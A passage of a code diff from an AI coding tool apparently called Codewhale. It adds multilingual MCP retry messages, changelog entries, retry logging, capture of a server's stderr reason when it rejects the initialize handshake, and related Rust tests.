"McpShowCachedWhileTurnRuns": "एक टर्न चल रहा है; अंतिम ज्ञात MCP स्नैपशॉट दिखाया जा रहा है। लाइव रीफ़्रेश के लिए टर्न पूरा होने पर /mcp फिर चलाएँ।",
|
||||
"McpShowUnavailableWhileTurnRuns": "एक टर्न चल रहा है और अभी तक कोई MCP स्नैपशॉट नहीं देखा गया। टर्न पूरा होने पर /mcp फिर चलाएँ।",
|
||||
"McpLivePoolRefreshDeferredWhileTurnRuns": "एक टर्न चल रहा है; लाइव MCP पूल रीफ़्रेश स्थगित है। टर्न पूरा होने पर /mcp reload चलाएँ।",
|
||||
"McpRetryDeferredWhileTurnRuns": "एक टर्न चल रहा है; टर्न पूरा होने पर /mcp retry {server} फिर चलाएँ।",
|
||||
"McpRetryDeferredWhileTurnRuns": "एक टर्न चल रहा है; उसके खत्म होते ही {server} फिर से कनेक्ट होगा।",
|
||||
"McpRetryStarted": "{server} से कनेक्ट हो रहा है…",
|
||||
"McpRetryConnected": "{server} कनेक्ट हुआ: {tools} टूल।",
|
||||
"McpRetryNeedsLogin": "{server} को लॉगिन चाहिए: {command} चलाएँ।",
|
||||
"McpRetryFailed": "{server} कनेक्ट नहीं हुआ: {error}",
|
||||
"ExtensionsActionDisable": "अक्षम करें",
|
||||
"ExtensionsActionReview": "समीक्षा करें",
|
||||
"ExtensionsActionRemove": "हटाएँ",
|
||||
|
||||
@@ -101,6 +101,7 @@
|
||||
"ExtensionsStateInapplicable": "tidak berlaku",
|
||||
"ExtensionsStateInvalid": "tidak valid",
|
||||
"ExtensionsStateNotInspected": "belum diperiksa",
|
||||
"ExtensionsStateDisconnected": "terputus",
|
||||
"ExtensionsStateRejected": "ditolak",
|
||||
"ExtensionsStateReviewedCandidate": "kandidat tertinjau",
|
||||
"ExtensionsStateUnderEvaluation": "sedang dievaluasi",
|
||||
@@ -2386,7 +2387,11 @@
|
||||
"McpShowCachedWhileTurnRuns": "Satu turn sedang berjalan; menampilkan snapshot MCP terakhir yang diketahui. Jalankan /mcp lagi setelah turn selesai untuk penyegaran langsung.",
|
||||
"McpShowUnavailableWhileTurnRuns": "Satu turn sedang berjalan dan belum ada snapshot MCP yang teramati. Jalankan /mcp lagi setelah turn selesai.",
|
||||
"McpLivePoolRefreshDeferredWhileTurnRuns": "Satu turn sedang berjalan; penyegaran pool MCP langsung ditunda. Jalankan /mcp reload setelah turn selesai.",
|
||||
"McpRetryDeferredWhileTurnRuns": "Satu turn sedang berjalan; jalankan /mcp retry {server} lagi setelah turn selesai.",
|
||||
"McpRetryDeferredWhileTurnRuns": "Giliran sedang berjalan; {server} akan tersambung ulang begitu giliran selesai.",
|
||||
"McpRetryStarted": "Menyambungkan {server}…",
|
||||
"McpRetryConnected": "{server} tersambung: {tools} alat.",
|
||||
"McpRetryNeedsLogin": "{server} perlu login: jalankan {command}.",
|
||||
"McpRetryFailed": "{server} gagal tersambung: {error}",
|
||||
"ExtensionsActionDisable": "nonaktifkan",
|
||||
"ExtensionsActionReview": "tinjau",
|
||||
"ExtensionsActionRemove": "hapus",
|
||||
|
||||
@@ -101,6 +101,7 @@
|
||||
"ExtensionsStateInapplicable": "適用不可",
|
||||
"ExtensionsStateInvalid": "無効",
|
||||
"ExtensionsStateNotInspected": "未確認",
|
||||
"ExtensionsStateDisconnected": "切断",
|
||||
"ExtensionsStateRejected": "拒否済み",
|
||||
"ExtensionsStateReviewedCandidate": "レビュー済み候補",
|
||||
"ExtensionsStateUnderEvaluation": "評価中",
|
||||
@@ -2386,7 +2387,11 @@
|
||||
"McpShowCachedWhileTurnRuns": "ターン実行中は最後に確認された MCP スナップショットを表示します。ライブ更新にはターン終了後に /mcp を再実行してください。",
|
||||
"McpShowUnavailableWhileTurnRuns": "ターン実行中で、まだ MCP スナップショットを確認できていません。ターン終了後に /mcp を再実行してください。",
|
||||
"McpLivePoolRefreshDeferredWhileTurnRuns": "ターン実行中のため、ライブ MCP プールの更新は保留されます。ターン終了後に /mcp reload を実行してください。",
|
||||
"McpRetryDeferredWhileTurnRuns": "ターン実行中です。ターン終了後に /mcp retry {server} を再実行してください。",
|
||||
"McpRetryDeferredWhileTurnRuns": "ターン実行中です。ターンが終わりしだい {server} を再接続します。",
|
||||
"McpRetryStarted": "{server} に接続中…",
|
||||
"McpRetryConnected": "{server} に接続しました:ツール {tools} 個。",
|
||||
"McpRetryNeedsLogin": "{server} にはログインが必要です:{command} を実行してください。",
|
||||
"McpRetryFailed": "{server} に接続できませんでした:{error}",
|
||||
"ExtensionsActionDisable": "無効化",
|
||||
"ExtensionsActionReview": "確認",
|
||||
"ExtensionsActionRemove": "削除",
|
||||
|
||||
@@ -101,6 +101,7 @@
|
||||
"ExtensionsStateInapplicable": "해당 없음",
|
||||
"ExtensionsStateInvalid": "잘못됨",
|
||||
"ExtensionsStateNotInspected": "검사하지 않음",
|
||||
"ExtensionsStateDisconnected": "연결 끊김",
|
||||
"ExtensionsStateRejected": "거부됨",
|
||||
"ExtensionsStateReviewedCandidate": "검토된 후보",
|
||||
"ExtensionsStateUnderEvaluation": "평가 중",
|
||||
@@ -2386,7 +2387,11 @@
|
||||
"McpShowCachedWhileTurnRuns": "턴이 실행 중이라 마지막으로 알려진 MCP 스냅샷을 표시합니다. 실시간 갱신은 턴이 끝난 뒤 /mcp를 다시 실행하세요.",
|
||||
"McpShowUnavailableWhileTurnRuns": "턴이 실행 중이며 아직 MCP 스냅샷이 확인되지 않았습니다. 턴이 끝난 뒤 /mcp를 다시 실행하세요.",
|
||||
"McpLivePoolRefreshDeferredWhileTurnRuns": "턴이 실행 중이라 실시간 MCP 풀 갱신이 보류됩니다. 턴이 끝난 뒤 /mcp reload를 실행하세요.",
|
||||
"McpRetryDeferredWhileTurnRuns": "턴이 실행 중입니다. 턴이 끝난 뒤 /mcp retry {server}를 다시 실행하세요.",
|
||||
"McpRetryDeferredWhileTurnRuns": "턴이 실행 중입니다. 턴이 끝나는 대로 {server}에 다시 연결합니다.",
|
||||
"McpRetryStarted": "{server}에 연결하는 중…",
|
||||
"McpRetryConnected": "{server} 연결됨: 도구 {tools}개.",
|
||||
"McpRetryNeedsLogin": "{server}에 로그인이 필요합니다: {command}를 실행하세요.",
|
||||
"McpRetryFailed": "{server}에 연결하지 못했습니다: {error}",
|
||||
"ExtensionsActionDisable": "비활성화",
|
||||
"ExtensionsActionReview": "검토",
|
||||
"ExtensionsActionRemove": "제거",
|
||||
|
||||
@@ -101,6 +101,7 @@
|
||||
"ExtensionsStateInapplicable": "não aplicável",
|
||||
"ExtensionsStateInvalid": "inválido",
|
||||
"ExtensionsStateNotInspected": "não inspecionado",
|
||||
"ExtensionsStateDisconnected": "desconectado",
|
||||
"ExtensionsStateRejected": "rejeitado",
|
||||
"ExtensionsStateReviewedCandidate": "candidato revisado",
|
||||
"ExtensionsStateUnderEvaluation": "em avaliação",
|
||||
@@ -2386,7 +2387,11 @@
|
||||
"McpShowCachedWhileTurnRuns": "Há um turno em execução; exibindo o último snapshot MCP conhecido. Execute /mcp novamente quando o turno terminar para atualizar ao vivo.",
|
||||
"McpShowUnavailableWhileTurnRuns": "Há um turno em execução e nenhum snapshot MCP foi observado ainda. Execute /mcp novamente quando o turno terminar.",
|
||||
"McpLivePoolRefreshDeferredWhileTurnRuns": "Há um turno em execução; a atualização do pool MCP ao vivo foi adiada. Execute /mcp reload quando o turno terminar.",
|
||||
"McpRetryDeferredWhileTurnRuns": "Há um turno em execução; execute /mcp retry {server} novamente quando o turno terminar.",
|
||||
"McpRetryDeferredWhileTurnRuns": "Um turno está em andamento; {server} será reconectado assim que ele terminar.",
|
||||
"McpRetryStarted": "Conectando {server}…",
|
||||
"McpRetryConnected": "{server} conectado: {tools} ferramenta(s).",
|
||||
"McpRetryNeedsLogin": "{server} precisa de login: execute {command}.",
|
||||
"McpRetryFailed": "{server} não conectou: {error}",
|
||||
"ExtensionsActionDisable": "desativar",
|
||||
"ExtensionsActionReview": "revisar",
|
||||
"ExtensionsActionRemove": "remover",
|
||||
|
||||
@@ -101,6 +101,7 @@
|
||||
"ExtensionsStateInapplicable": "не применим",
|
||||
"ExtensionsStateInvalid": "недействителен",
|
||||
"ExtensionsStateNotInspected": "не проверено",
|
||||
"ExtensionsStateDisconnected": "отключён",
|
||||
"ExtensionsStateRejected": "отклонён",
|
||||
"ExtensionsStateReviewedCandidate": "проверенный кандидат",
|
||||
"ExtensionsStateUnderEvaluation": "оценивается",
|
||||
@@ -2386,7 +2387,11 @@
|
||||
"McpShowCachedWhileTurnRuns": "Идёт ход; показан последний известный снимок MCP. Запустите /mcp снова после завершения хода, чтобы обновить его вживую.",
|
||||
"McpShowUnavailableWhileTurnRuns": "Идёт ход, и снимок MCP ещё не наблюдался. Запустите /mcp снова после завершения хода.",
|
||||
"McpLivePoolRefreshDeferredWhileTurnRuns": "Идёт ход; обновление живого пула MCP отложено. Запустите /mcp reload после завершения хода.",
|
||||
"McpRetryDeferredWhileTurnRuns": "Идёт ход; повторите /mcp retry {server} после завершения хода.",
|
||||
"McpRetryDeferredWhileTurnRuns": "Идёт ход; {server} переподключится, как только он завершится.",
|
||||
"McpRetryStarted": "Подключение к {server}…",
|
||||
"McpRetryConnected": "{server} подключён: инструментов — {tools}.",
|
||||
"McpRetryNeedsLogin": "{server} требует входа: выполните {command}.",
|
||||
"McpRetryFailed": "{server} не подключился: {error}",
|
||||
"ExtensionsActionDisable": "отключить",
|
||||
"ExtensionsActionReview": "проверить",
|
||||
"ExtensionsActionRemove": "удалить",
|
||||
|
||||
@@ -101,6 +101,7 @@
|
||||
"ExtensionsStateInapplicable": "не застосовується",
|
||||
"ExtensionsStateInvalid": "недійсний",
|
||||
"ExtensionsStateNotInspected": "не перевірено",
|
||||
"ExtensionsStateDisconnected": "відключено",
|
||||
"ExtensionsStateRejected": "відхилено",
|
||||
"ExtensionsStateReviewedCandidate": "перевірений кандидат",
|
||||
"ExtensionsStateUnderEvaluation": "оцінюється",
|
||||
@@ -2386,7 +2387,11 @@
|
||||
"McpShowCachedWhileTurnRuns": "Триває хід; показано останній відомий знімок MCP. Запустіть /mcp знову після завершення ходу, щоб оновити його наживо.",
|
||||
"McpShowUnavailableWhileTurnRuns": "Триває хід, і знімок MCP ще не спостерігався. Запустіть /mcp знову після завершення ходу.",
|
||||
"McpLivePoolRefreshDeferredWhileTurnRuns": "Триває хід; оновлення живого пулу MCP відкладено. Запустіть /mcp reload після завершення ходу.",
|
||||
"McpRetryDeferredWhileTurnRuns": "Триває хід; повторіть /mcp retry {server} після завершення ходу.",
|
||||
"McpRetryDeferredWhileTurnRuns": "Триває хід; {server} перепідключиться, щойно він завершиться.",
|
||||
"McpRetryStarted": "Підключення до {server}…",
|
||||
"McpRetryConnected": "{server} підключено: інструментів — {tools}.",
|
||||
"McpRetryNeedsLogin": "{server} потребує входу: виконайте {command}.",
|
||||
"McpRetryFailed": "{server} не підключився: {error}",
|
||||
"ExtensionsActionDisable": "вимкнути",
|
||||
"ExtensionsActionReview": "переглянути",
|
||||
"ExtensionsActionRemove": "видалити",
|
||||
|
||||
@@ -101,6 +101,7 @@
|
||||
"ExtensionsStateInapplicable": "không áp dụng",
|
||||
"ExtensionsStateInvalid": "không hợp lệ",
|
||||
"ExtensionsStateNotInspected": "chưa kiểm tra",
|
||||
"ExtensionsStateDisconnected": "đã ngắt kết nối",
|
||||
"ExtensionsStateRejected": "bị từ chối",
|
||||
"ExtensionsStateReviewedCandidate": "ứng viên đã xem xét",
|
||||
"ExtensionsStateUnderEvaluation": "đang đánh giá",
|
||||
@@ -2386,7 +2387,11 @@
|
||||
"McpShowCachedWhileTurnRuns": "Đang có một lượt chạy; hiển thị ảnh chụp MCP đã biết gần nhất. Chạy lại /mcp sau khi lượt kết thúc để làm mới trực tiếp.",
|
||||
"McpShowUnavailableWhileTurnRuns": "Đang có một lượt chạy và chưa quan sát được ảnh chụp MCP nào. Chạy lại /mcp sau khi lượt kết thúc.",
|
||||
"McpLivePoolRefreshDeferredWhileTurnRuns": "Đang có một lượt chạy; việc làm mới pool MCP trực tiếp bị hoãn. Chạy /mcp reload sau khi lượt kết thúc.",
|
||||
"McpRetryDeferredWhileTurnRuns": "Đang có một lượt chạy; chạy lại /mcp retry {server} sau khi lượt kết thúc.",
|
||||
"McpRetryDeferredWhileTurnRuns": "Một lượt đang chạy; {server} sẽ kết nối lại ngay khi lượt kết thúc.",
|
||||
"McpRetryStarted": "Đang kết nối {server}…",
|
||||
"McpRetryConnected": "Đã kết nối {server}: {tools} công cụ.",
|
||||
"McpRetryNeedsLogin": "{server} cần đăng nhập: chạy {command}.",
|
||||
"McpRetryFailed": "{server} không kết nối được: {error}",
|
||||
"ExtensionsActionDisable": "tắt",
|
||||
"ExtensionsActionReview": "xem xét",
|
||||
"ExtensionsActionRemove": "xoá",
|
||||
|
||||
@@ -101,6 +101,7 @@
|
||||
"ExtensionsStateInapplicable": "不适用",
|
||||
"ExtensionsStateInvalid": "无效",
|
||||
"ExtensionsStateNotInspected": "尚未检查",
|
||||
"ExtensionsStateDisconnected": "已断开",
|
||||
"ExtensionsStateRejected": "已拒绝",
|
||||
"ExtensionsStateReviewedCandidate": "已审核候选",
|
||||
"ExtensionsStateUnderEvaluation": "评估中",
|
||||
@@ -2386,7 +2387,11 @@
|
||||
"McpShowCachedWhileTurnRuns": "有回合正在运行;显示最近已知的 MCP 快照。回合结束后重新运行 /mcp 可实时刷新。",
|
||||
"McpShowUnavailableWhileTurnRuns": "有回合正在运行,尚未观测到 MCP 快照。回合结束后请重新运行 /mcp。",
|
||||
"McpLivePoolRefreshDeferredWhileTurnRuns": "有回合正在运行;实时 MCP 池刷新已推迟。回合结束后请运行 /mcp reload。",
|
||||
"McpRetryDeferredWhileTurnRuns": "有回合正在运行;请在回合结束后重新运行 /mcp retry {server}。",
|
||||
"McpRetryDeferredWhileTurnRuns": "当前回合正在运行;回合结束后将立即重新连接 {server}。",
|
||||
"McpRetryStarted": "正在连接 {server}…",
|
||||
"McpRetryConnected": "{server} 已连接:{tools} 个工具。",
|
||||
"McpRetryNeedsLogin": "{server} 需要登录:请运行 {command}。",
|
||||
"McpRetryFailed": "{server} 未能连接:{error}",
|
||||
"ExtensionsActionDisable": "停用",
|
||||
"ExtensionsActionReview": "审阅",
|
||||
"ExtensionsActionRemove": "移除",
|
||||
|
||||
@@ -101,6 +101,7 @@
|
||||
"ExtensionsStateInapplicable": "不適用",
|
||||
"ExtensionsStateInvalid": "無效",
|
||||
"ExtensionsStateNotInspected": "尚未檢查",
|
||||
"ExtensionsStateDisconnected": "已中斷",
|
||||
"ExtensionsStateRejected": "已拒絕",
|
||||
"ExtensionsStateReviewedCandidate": "已審查候選",
|
||||
"ExtensionsStateUnderEvaluation": "評估中",
|
||||
@@ -2386,7 +2387,11 @@
|
||||
"McpShowCachedWhileTurnRuns": "有回合正在執行;顯示最近已知的 MCP 快照。回合結束後重新執行 /mcp 可即時重新整理。",
|
||||
"McpShowUnavailableWhileTurnRuns": "有回合正在執行,尚未觀測到 MCP 快照。請於回合結束後重新執行 /mcp。",
|
||||
"McpLivePoolRefreshDeferredWhileTurnRuns": "有回合正在執行;即時 MCP 集區重新整理已延後。請於回合結束後執行 /mcp reload。",
|
||||
"McpRetryDeferredWhileTurnRuns": "有回合正在執行;請於回合結束後重新執行 /mcp retry {server}。",
|
||||
"McpRetryDeferredWhileTurnRuns": "目前回合正在執行;回合結束後將立即重新連線 {server}。",
|
||||
"McpRetryStarted": "正在連線 {server}…",
|
||||
"McpRetryConnected": "{server} 已連線:{tools} 個工具。",
|
||||
"McpRetryNeedsLogin": "{server} 需要登入:請執行 {command}。",
|
||||
"McpRetryFailed": "{server} 未能連線:{error}",
|
||||
"ExtensionsActionDisable": "停用",
|
||||
"ExtensionsActionReview": "審閱",
|
||||
"ExtensionsActionRemove": "移除",
|
||||
|
||||
@@ -632,6 +632,7 @@ pub enum MessageId {
|
||||
ExtensionsStateInapplicable,
|
||||
ExtensionsStateInvalid,
|
||||
ExtensionsStateNotInspected,
|
||||
ExtensionsStateDisconnected,
|
||||
ExtensionsStateRejected,
|
||||
ExtensionsStateReviewedCandidate,
|
||||
ExtensionsStateUnderEvaluation,
|
||||
@@ -2636,6 +2637,10 @@ pub enum MessageId {
|
||||
McpShowUnavailableWhileTurnRuns,
|
||||
McpLivePoolRefreshDeferredWhileTurnRuns,
|
||||
McpRetryDeferredWhileTurnRuns,
|
||||
McpRetryStarted,
|
||||
McpRetryConnected,
|
||||
McpRetryNeedsLogin,
|
||||
McpRetryFailed,
|
||||
WorkflowCountRunning,
|
||||
WorkflowCountDone,
|
||||
WorkflowCountFailed,
|
||||
@@ -3163,6 +3168,7 @@ pub const ALL_MESSAGE_IDS: &[MessageId] = &[
|
||||
MessageId::ExtensionsStateInapplicable,
|
||||
MessageId::ExtensionsStateInvalid,
|
||||
MessageId::ExtensionsStateNotInspected,
|
||||
MessageId::ExtensionsStateDisconnected,
|
||||
MessageId::ExtensionsStateRejected,
|
||||
MessageId::ExtensionsStateReviewedCandidate,
|
||||
MessageId::ExtensionsStateUnderEvaluation,
|
||||
@@ -5061,6 +5067,10 @@ pub const ALL_MESSAGE_IDS: &[MessageId] = &[
|
||||
MessageId::McpShowUnavailableWhileTurnRuns,
|
||||
MessageId::McpLivePoolRefreshDeferredWhileTurnRuns,
|
||||
MessageId::McpRetryDeferredWhileTurnRuns,
|
||||
MessageId::McpRetryStarted,
|
||||
MessageId::McpRetryConnected,
|
||||
MessageId::McpRetryNeedsLogin,
|
||||
MessageId::McpRetryFailed,
|
||||
MessageId::WorkflowCountRunning,
|
||||
MessageId::WorkflowCountDone,
|
||||
MessageId::WorkflowCountFailed,
|
||||
@@ -6504,7 +6514,11 @@ mod tests {
|
||||
.filter(|key| key.starts_with("Extensions"))
|
||||
.cloned()
|
||||
.collect::<Vec<_>>();
|
||||
assert_eq!(keys.len(), 99, "the complete extensions locale set changed");
|
||||
assert_eq!(
|
||||
keys.len(),
|
||||
100,
|
||||
"the complete extensions locale set changed"
|
||||
);
|
||||
|
||||
let prose_keys = [
|
||||
"ExtensionsMcpEmpty",
|
||||
|
||||
@@ -7,6 +7,10 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
|
||||
|
||||
## [Unreleased]
|
||||
|
||||
### Contributors
|
||||
|
||||
- **[@SparkofSpike](https://github.com/SparkofSpike)** — translated seventeen Tier-2 guides into Simplified Chinese and connected the localized documentation ([#6662](https://github.com/Hmbown/Codewhale/pull/6662)).
|
||||
|
||||
## [0.10.1] - 2026-09-28
|
||||
|
||||
The website's not-found page now uses the Codwhale poster and typo joke,
|
||||
@@ -50,6 +54,7 @@ quieter, and Fleet runs can be checked before they spend anything.
|
||||
- **[@Lstarsky0](https://github.com/Lstarsky0)** — moved the docs/work, legal, digest and FAQ pages onto the dictionary spine ([#6405](https://github.com/Hmbown/Codewhale/pull/6405), [#6417](https://github.com/Hmbown/Codewhale/pull/6417), [#6499](https://github.com/Hmbown/Codewhale/pull/6499), [#6574](https://github.com/Hmbown/Codewhale/pull/6574)), tightened the Chinese-branching ceiling to 18 ([#6403](https://github.com/Hmbown/Codewhale/pull/6403)), and made Fleet publish without a two-link window ([#6431](https://github.com/Hmbown/Codewhale/pull/6431)).
|
||||
- **[@aboimpinto](https://github.com/aboimpinto)** — restored a green Linux full-workspace test gate without loosening any test, twice ([#6581](https://github.com/Hmbown/Codewhale/pull/6581), [#6666](https://github.com/Hmbown/Codewhale/pull/6666)).
|
||||
- **[@dajiaohuang](https://github.com/dajiaohuang)** — `codewhale config set` checks a known setting's value against its schema type before saving it ([#6568](https://github.com/Hmbown/Codewhale/pull/6568)).
|
||||
- **[@cenab](https://github.com/cenab)** — requested the Tsubasa provider row and supplied its endpoint, key and model values ([#6695](https://github.com/Hmbown/Codewhale/issues/6695)).
|
||||
- **[@BX166](https://github.com/BX166)** — reported the AICraft provider row missing its key console, docs link and guidance, and supplied the values ([#6616](https://github.com/Hmbown/Codewhale/issues/6616)).
|
||||
- **[@Water-Run](https://github.com/Water-Run)** — ingested namespaced model-only catalog entries so models present only in the canonical `models` map reach the offering list ([#6400](https://github.com/Hmbown/Codewhale/pull/6400)), and retired the blanket dead-code allowance with its unused feature stages, tightening the budget to match ([#6402](https://github.com/Hmbown/Codewhale/pull/6402)).
|
||||
|
||||
@@ -110,6 +115,11 @@ quieter, and Fleet runs can be checked before they spend anything.
|
||||
Computer Use bundle
|
||||
([#6562](https://github.com/Hmbown/Codewhale/issues/6562),
|
||||
[#6509](https://github.com/Hmbown/Codewhale/issues/6509)).
|
||||
- Tsubasa is a bundled OpenAI-compatible provider row: base
|
||||
`https://api.tsubasa.sh/v1`, key `TSUBASA_API_KEY`, model `tsubasa-pro`
|
||||
(also `tsubasa-fast`). Its window is 32,768 tokens; set
|
||||
`providers.tsubasa.context_window` to match
|
||||
([#6695](https://github.com/Hmbown/Codewhale/issues/6695), thanks @cenab).
|
||||
|
||||
### Security
|
||||
|
||||
|
||||
@@ -7285,15 +7285,28 @@ impl Engine {
|
||||
.await
|
||||
.map_err(|error| anyhow::anyhow!(error.to_string()))?;
|
||||
let mut pool = pool.lock().await;
|
||||
// The outcome is logged here, at the one manager every surface drives,
|
||||
// so a panel retry, `/mcp retry`, and the runtime API all leave the
|
||||
// same receipt in the session log.
|
||||
match pool.retry_connection(name).await {
|
||||
Ok(_) => {
|
||||
Ok(connection) => {
|
||||
tracing::info!(
|
||||
target: "mcp",
|
||||
server = %name,
|
||||
tools = connection.tools().len(),
|
||||
"MCP server connected on retry"
|
||||
);
|
||||
self.mcp_connection_errors.remove(name);
|
||||
}
|
||||
Err(error) => {
|
||||
self.mcp_connection_errors.insert(
|
||||
name.to_string(),
|
||||
crate::mcp::format_mcp_error_for_display(&error),
|
||||
let reason = crate::mcp::format_mcp_error_for_display(&error);
|
||||
tracing::warn!(
|
||||
target: "mcp",
|
||||
server = %name,
|
||||
error = %reason,
|
||||
"MCP server retry failed"
|
||||
);
|
||||
self.mcp_connection_errors.insert(name.to_string(), reason);
|
||||
}
|
||||
}
|
||||
let snapshot = pool.manager_snapshot(
|
||||
|
||||
@@ -2551,6 +2551,25 @@ async fn run_async_main_dispatch(
|
||||
config.reasoning_effort_inferred_from_legacy_alias = false;
|
||||
}
|
||||
initialize_cloud_facts(&config);
|
||||
// #6705: OpenCode Zen's per-model wire comes from its
|
||||
// Models.dev catalog. Seed the persisted snapshot (disk only,
|
||||
// no network) so exec routes the models the picker offers
|
||||
// instead of only the ones compiled into this build. This runs
|
||||
// unconditionally, as in the interactive path: the final route
|
||||
// is not known yet (a selected Fleet operator or `--resume` can
|
||||
// still move it onto Zen, and both resolve through the lake).
|
||||
// The read and JSON parse are blocking, so they leave the
|
||||
// runtime's worker threads.
|
||||
if let Err(error) =
|
||||
tokio::task::spawn_blocking(crate::models_dev_live::maybe_load_persisted_cache)
|
||||
.await
|
||||
{
|
||||
tracing::warn!(
|
||||
target: "models_dev_live",
|
||||
%error,
|
||||
"persisted Models.dev cache load did not complete; keeping bundled"
|
||||
);
|
||||
}
|
||||
let prompt = resolve_exec_prompt(&args)?;
|
||||
let resume_session_id = resolve_exec_resume_session_id(&args, &workspace)?;
|
||||
validate_exec_tool_authority_resume(
|
||||
|
||||
+48
-1
@@ -1524,6 +1524,13 @@ pub trait McpTransport: Send + Sync {
|
||||
/// the default is a no-op.
|
||||
fn set_protocol_version(&mut self, _version: &str) {}
|
||||
|
||||
/// The last non-empty line the server wrote to stderr, for naming why a
|
||||
/// handshake was refused. Only stdio children have a stderr; a reviewed
|
||||
/// plugin's is never retained.
|
||||
async fn last_stderr_line(&self) -> Option<String> {
|
||||
None
|
||||
}
|
||||
|
||||
/// Synchronous, best-effort liveness probe consulted by
|
||||
/// [`McpConnection::is_ready`] so a crashed stdio child stops reading
|
||||
/// as "ready" before the next call fails (#6187). Must never block and
|
||||
@@ -1964,6 +1971,30 @@ impl McpConnection {
|
||||
.await?;
|
||||
|
||||
let response = self.recv(init_id).await?;
|
||||
if let Some(error) = response.get("error")
|
||||
&& self.config.reviewed_plugin.is_none()
|
||||
{
|
||||
// A JSON-RPC error on `initialize` is the server refusing the
|
||||
// handshake, not a transport fault: name the server and what was
|
||||
// launched, and carry the child's last stderr line, which is
|
||||
// usually the real reason (an MCP proxy that cannot reach its
|
||||
// upstream answers -32602 and explains itself only on stderr).
|
||||
let launched = match (&self.config.command, &self.config.url) {
|
||||
(Some(command), _) => format!("command `{}`", mcp_display_target("stdio", command)),
|
||||
(None, Some(_)) => "HTTP endpoint".to_string(),
|
||||
(None, None) => "server".to_string(),
|
||||
};
|
||||
let stderr = self
|
||||
.transport
|
||||
.last_stderr_line()
|
||||
.await
|
||||
.map(|line| format!("; server stderr: {line}"))
|
||||
.unwrap_or_default();
|
||||
anyhow::bail!(
|
||||
"MCP server '{}' rejected initialize ({launched}): {error}{stderr}",
|
||||
self.name
|
||||
);
|
||||
}
|
||||
let result = response_result(
|
||||
&response,
|
||||
"initialize",
|
||||
@@ -5333,12 +5364,28 @@ impl McpServerSnapshot {
|
||||
}
|
||||
mcp_recovery_kind(
|
||||
self.enabled,
|
||||
true,
|
||||
self.started(),
|
||||
self.connected,
|
||||
self.error.as_deref(),
|
||||
oauth_capable,
|
||||
)
|
||||
}
|
||||
|
||||
/// Whether this session ever attempted the server. Boot is lazy (#6033):
|
||||
/// a configured server nobody asked for has no connection, no recorded
|
||||
/// failure, and no observed capabilities — it was never started, so its
|
||||
/// recovery is `connect`, not `reconnect`, and an OAuth-capable one is
|
||||
/// not yet known to need a login.
|
||||
#[must_use]
|
||||
pub fn started(&self) -> bool {
|
||||
self.connected
|
||||
|| self.auth_required
|
||||
|| self.error.is_some()
|
||||
|| !matches!(
|
||||
self.capability_metadata,
|
||||
McpServerCapabilityMetadata::NotObserved
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
|
||||
@@ -67,6 +67,17 @@ impl StderrTail {
|
||||
async fn snapshot(&self) -> Vec<String> {
|
||||
self.lines.lock().await.iter().cloned().collect()
|
||||
}
|
||||
|
||||
async fn last_line(&self) -> Option<String> {
|
||||
self.lines
|
||||
.lock()
|
||||
.await
|
||||
.iter()
|
||||
.rev()
|
||||
.map(|line| line.trim())
|
||||
.find(|line| !line.is_empty())
|
||||
.map(str::to_string)
|
||||
}
|
||||
}
|
||||
|
||||
impl StdioTransport {
|
||||
@@ -305,6 +316,17 @@ async fn terminate_child(child: &mut Child) {
|
||||
|
||||
#[async_trait::async_trait]
|
||||
impl McpTransport for StdioTransport {
|
||||
async fn last_stderr_line(&self) -> Option<String> {
|
||||
// The child usually writes its reason to stderr just before the error
|
||||
// reply; give the drain task a bounded moment to catch up.
|
||||
tokio::task::yield_now().await;
|
||||
if let Some(line) = self.stderr_tail.last_line().await {
|
||||
return Some(line);
|
||||
}
|
||||
tokio::time::sleep(Duration::from_millis(100)).await;
|
||||
self.stderr_tail.last_line().await
|
||||
}
|
||||
|
||||
async fn send(&mut self, mut msg: Vec<u8>) -> Result<()> {
|
||||
msg.push(b'\n');
|
||||
self.stdin.write_all(&msg).await?;
|
||||
|
||||
@@ -8968,3 +8968,122 @@ fn computer_use_duplicate_warning_names_user_copies_of_the_enabled_bundle() {
|
||||
.enabled = false;
|
||||
assert!(duplicate_computer_use_servers(&config).is_empty());
|
||||
}
|
||||
|
||||
/// Founder run: an `uvx mcp-proxy-for-aws` server answered `initialize` with
|
||||
/// JSON-RPC -32602 and the only thing surfaced was
|
||||
/// "MCP error in 'initialize': {...}". The proxy had explained itself on
|
||||
/// stderr (expired AWS login). The error now says the server rejected the
|
||||
/// handshake, names what was launched, and carries that last stderr line.
|
||||
#[cfg(unix)]
|
||||
#[tokio::test]
|
||||
async fn initialize_rejection_names_the_server_command_and_its_stderr_reason() {
|
||||
let mut config = test_server_config();
|
||||
config.command = Some("sh".to_string());
|
||||
config.args = vec![
|
||||
"-c".to_string(),
|
||||
concat!(
|
||||
"read line; ",
|
||||
"echo 'LoginRefreshRequired: Please reauthenticate using aws login' 1>&2; ",
|
||||
"echo '{\"jsonrpc\":\"2.0\",\"id\":\"1\",\"error\":{\"code\":-32602,\"message\":\"Invalid request parameters\"}}'; ",
|
||||
"sleep 5"
|
||||
)
|
||||
.to_string(),
|
||||
];
|
||||
let error = McpConnection::connect_with_policy(
|
||||
"aws".to_string(),
|
||||
config,
|
||||
&McpTimeouts::default(),
|
||||
None,
|
||||
)
|
||||
.await
|
||||
.err()
|
||||
.expect("a JSON-RPC error on initialize ends the handshake");
|
||||
let text = format_mcp_error_for_display(&error);
|
||||
assert!(
|
||||
text.contains("MCP server 'aws' rejected initialize"),
|
||||
"{text}"
|
||||
);
|
||||
assert!(text.contains("command `sh`"), "{text}");
|
||||
assert!(text.contains("-32602"), "{text}");
|
||||
assert!(
|
||||
text.contains("server stderr: LoginRefreshRequired: Please reauthenticate using aws login"),
|
||||
"{text}"
|
||||
);
|
||||
}
|
||||
|
||||
/// The file the founder had carried both `"disabled": true` and
|
||||
/// `"enabled": false`; a hand edit can leave them disagreeing. Enabling (and
|
||||
/// disabling) must always write the pair so the two keys agree.
|
||||
#[test]
|
||||
fn set_server_enabled_makes_the_enabled_and_disabled_keys_agree() {
|
||||
let dir = tempfile::tempdir().unwrap();
|
||||
let path = dir.path().join("mcp.json");
|
||||
fs::write(
|
||||
&path,
|
||||
r#"{"servers":{"linear":{"url":"https://mcp.linear.app/mcp","enabled":true,"disabled":true}}}"#,
|
||||
)
|
||||
.unwrap();
|
||||
assert!(!load_config(&path).unwrap().servers["linear"].is_enabled());
|
||||
|
||||
